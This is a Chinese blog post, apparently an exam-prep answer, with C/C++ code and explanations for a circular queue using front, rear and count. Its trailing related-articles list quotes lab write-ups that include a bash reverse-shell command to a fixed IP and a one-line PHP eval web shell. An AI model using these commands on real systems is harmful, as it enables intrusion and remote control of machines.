【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录
第3题 基于front、rear和count的循环队列初始化、入队和出队操作
得分点(必背)
题解:基于front、rear和count的循环队列初始化、入队和出队操作
数据结构定义
代码解答
详细解释
1. 循环队列初始化
2. 循环队列入队
3. 循环队列出队
示例
1、初始化队列
2、入队操作
3、出队操作

🌈 嗨,我是命运之光!
🌌 2024,每日百字,记录时光,感谢有你,携手前行~
🚀 携手启航,我们一同深入未知的领域,挖掘潜能,让每一步成长都充满意义。
第6题 基于front、rear和count的循环队列初始化、入队和出队操作
假设循环队列中设置front、rear和count分别指示队头元素的位置、队尾元素的位置和队中元素的个数。编写算法,实现基于此结构的循环队列的初始化、入队、出队操作。
得分点(必背)
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;}
// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;}
/*--------以上卷子上得分--------*/
题解:基于front、rear和count的循环队列初始化、入队和出队操作
在这个题目中,我们需要实现循环队列的初始化、入队和出队操作。循环队列使用数组实现,front和rear分别指示队头和队尾元素的位置,count表示队列中元素的个数。以下是代码及详细解释。
数据结构定义
假设循环队列的数据结构定义如下:
#define MAXSIZE 100 // 队列的最大长度
#define TRUE 1
#define FALSE 0typedef struct {int element[MAXSIZE]; // 存储队列元素的数组int front; // 队头指针int rear; // 队尾指针int count; // 队列中元素的个数
} SqQueue;
代码解答
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
/*--------以上卷子上得分--------*/
详细解释
1. 循环队列初始化
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
InitQueue函数用于初始化循环队列。Q是指向循环队列结构体SqQueue的指针。- 将
Q->front和Q->rear初始化为0,表示队列的起始位置。 - 将
Q->count初始化为0,表示队列中当前没有元素。
2. 循环队列入队
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}
EnQueue函数用于将元素x入队。Q是循环队列结构体的引用。- 首先检查队列是否已满(
Q.count == MAXSIZE),如果已满,返回FALSE。 - 如果队列未满,将元素
x存入Q.element[Q.rear]位置。 - 更新
Q.rear,使其指向下一个位置(Q.rear + 1) % MAXSIZE,这是循环队列的关键操作,使rear在达到数组末尾时能够循环回到数组开头。 - 更新
Q.count,元素个数加1。 - 返回
TRUE,表示入队成功。
3. 循环队列出队
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
DeQueue函数用于将队列中的元素出队。Q是循环队列结构体的引用。- 首先检查队列是否为空(
Q.count == 0),如果为空,返回FALSE。 - 如果队列不为空,将
Q.element[Q.front]的值赋给x,即出队元素。 - 更新
Q.front,使其指向下一个位置(Q.front + 1) % MAXSIZE,这是循环队列的关键操作,使front在达到数组末尾时能够循环回到数组开头。 - 更新
Q.count,元素个数减1。 - 返回
TRUE,表示出队成功。
示例
假设有一个循环队列 Q:
1、初始化队列
SqQueue Q;
InitQueue(&Q);
此时,Q.front = 0, Q.rear = 0, Q.count = 0。
2、入队操作
EnQueue(Q, 10);
EnQueue(Q, 20);
EnQueue(Q, 30);
执行上述操作后,队列 Q 中有三个元素,Q.element = [10, 20, 30, ...],Q.front = 0,Q.rear = 3,Q.count = 3。
3、出队操作
int x;
DeQueue(Q, x); // x = 10
DeQueue(Q, x); // x = 20
嗨,我是命运之光。如果你觉得我的分享有价值,不妨通过以下方式表达你的支持:👍 点赞来表达你的喜爱,📁 关注以获取我的最新消息,💬 评论与我交流你的见解。我会继续努力,为你带来更多精彩和实用的内容。
点击这里👉 ,获取最新动态,⚡️ 让信息传递更加迅速。


相关文章:
【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)
目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...
端点区间影响
前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...
Leetcode3224. 使差值相等的最少数组改动次数
Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...
thinkphp之命令执行漏洞复现
实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...
算法板子:匈牙利算法——二分图的最大匹配
目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...
轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!
不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...
windbg常用命令
1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行,不进入函数。 t: 单步执行,进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...
Ubuntu(20.04 LTS)更换镜像源
此换镜像源方法只适用x86_64架构的系统,其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中…...
golang使用 copier对象复制时进行类型转化
问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候,我们希望能显示经过格式化过的目标字符串格式,这里我们可以使用自定义的 converter,主要是定义 src 和 dst 类型…...
英特尔18A制程技术分析解读
#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧,英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息,并计划在2025年开始生产。 #### 技术进展 - **里程碑**:英特尔表示,这一里程碑是在…...
【百度面试算法题】2024-08-02
部门项目实际上也涉及到多种语言,有没有意愿去学习其他语言?你是如何利用数据结构来做技术的/项目中是如何解决高并发的?(没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了,开始问八股)说一下单…...
OSPF基础
目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...
leetcode 958.二叉树的完全性检验
1.题目要求: 给你一棵二叉树的根节点 root ,请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中,除了最后一层外,所有层都被完全填满,并且最后一层中的所有节点都尽可能靠左。最后一层(第 h 层)…...
Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?
微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...
基础岛 - 8G显存验证书生·浦语大模型的Demo
因为以前用过LMDeploy,所以本章的内容相对熟悉。 另外,因为教程写的很详细保姆级,所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论: LMDeploy的模型加载有点慢,但推理速度快,符合预…...
Jangow靶机攻略
搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...
Vue项目通过宝塔部署之后,页面刷新后浏览器404页面
目录 报错 解决方法 报错 将vue项目在宝塔上部署, 当项目挂载到服务器上去,进行浏览器的访问,是能正常访问的,可是当我们在浏览器上进行刷新之后,浏览器会给我们返回一个404的页面。 解决方法 (1&#…...
Java一一一简易图书管理系统
Java一一一简易图书管理系统 1. 需求分析 功能需求: 添加图书删除图书更新图书信息查询图书列出所有图书 2. 设计 实体类:Book业务逻辑类:LibraryManager 3. 实现 3.1 Book类 public class Book {private String id;private String t…...
Ubuntu配置carla docker环境
前言: 本文只在以下设备成功运行, 其他设备不保证能成功, 可以参考在自己设备进行配置 环境 ubuntu 20.04carla 0.9.15gpu 3060(notebook) 安装显卡驱动&nvidia-container-toolkit 显卡驱动 安装完成系统后直接在’软件和更新->附加驱动’直接选择470(proprietary…...
超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)
FLUX.1模型是什么? FLUX模型是一个开源的AI图像生成模型,由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室(Black Forest Labs)由前Stability AI核心成员团队成立,专注于开发高级生成式…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中,常常会遇到 跨域请求接口 的情况。为了解决这个问题,Vite 和 Webpack 都提供了 proxy 代理功能,用于将本地开发请求转发到后端服务器。 什么是代理(proxy)? 代理是在开发过程中,前端项目通过开发服务器,将指定的请求“转发”到真实的后端服务器,从而绕…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器
拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
快速排序算法改进:随机快排-荷兰国旗划分详解
随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...
归并排序:分治思想的高效排序
目录 基本原理 流程图解 实现方法 递归实现 非递归实现 演示过程 时间复杂度 基本原理 归并排序(Merge Sort)是一种基于分治思想的排序算法,由约翰冯诺伊曼在1945年提出。其核心思想包括: 分割(Divide):将待排序数组递归地分成两个子…...
SDU棋界精灵——硬件程序ESP32实现opus编码
一、 音频处理框架 该项目基于Espressif的音频处理框架构建,核心组件包括 ESP-ADF 和 ESP-SR,以下是完整的音频处理框架实现细节: 1.核心组件 (1) 音频前端处理 (AFE - Audio Front-End) main/components/audio_pipeline/afe_processor.c功能: 声学回声…...
